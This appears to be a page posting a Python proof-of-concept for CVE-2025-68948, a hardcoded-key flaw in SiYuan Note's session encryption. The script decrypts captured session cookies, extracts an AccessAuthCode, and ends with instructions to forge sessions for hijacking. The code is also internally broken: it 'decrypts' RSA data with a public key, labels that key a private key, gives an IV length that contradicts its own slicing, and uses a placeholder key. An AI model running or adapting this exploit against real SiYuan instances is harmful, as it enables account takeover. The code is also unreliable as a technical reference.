CVE-2025-68948 SiYuan Note硬编码密钥导致会话加密失效

#!/usr/bin/env python3 """ CVE-2025-68948 PoC - SiYuan Note Session Decryption Note: This PoC demonstrates the vulnerability for security research only """ import base64 import json from Crypto.Cipher import AES, PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes import requests # Hardcoded public key from SiYuan Note (extracted via reverse engineering) HARDCODED_PUBLIC_KEY = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... [Extracted from siyuan binary] -----END PUBLIC KEY-----""" def decrypt_session_cookie(encrypted_cookie): """ Decrypt SiYuan session cookie using hardcoded key """ try: # Decode base64 encoded cookie encrypted_data = base64.b64decode(encrypted_cookie) # Parse encrypted structure (typically contains encrypted AES key + encrypted data) # Structure: [4-byte IV][encrypted AES key with RSA][encrypted session data] iv = encrypted_data[:16] encrypted_aes_key = encrypted_data[16:256] encrypted_session = encrypted_data[256:] # Decrypt AES key using hardcoded RSA private key key = RSA.import_key(HARDCODED_PUBLIC_KEY) cipher_rsa = PKCS1_v1_5.new(key) sentinel = get_random_bytes(16) aes_key = cipher_rsa.decrypt(encrypted_aes_key, sentinel) # Decrypt session data with AES cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv) decrypted = cipher_aes.decrypt(encrypted_session) # Remove PKCS7 padding padding_len = decrypted[-1] session_data = decrypted[:-padding_len] return json.loads(session_data) except Exception as e: print(f"Decryption failed: {e}") return None def extract_access_auth_code(session_data): """ Extract AccessAuthCode from decrypted session """ return session_data.get('AccessAuthCode', session_data.get('authCode')) def main(): # Example encrypted session cookie (from network capture) target_cookie = input("Enter encrypted session cookie: ") # Decrypt the session session = decrypt_session_cookie(target_cookie) if session: print("\n[+] Session decrypted successfully!") print(f"Decrypted session: {json.dumps(session, indent=2)}") # Extract AccessAuthCode auth_code = extract_access_auth_code(session) if auth_code: print(f"\n[+] AccessAuthCode: {auth_code}") print("\n[!] This code can be used for session hijacking") if __name__ == "__main__": main() # Requirements: pip install pycryptodome # Usage: python cve-2025-68948-poc.py # Then use the extracted AccessAuthCode to forge valid session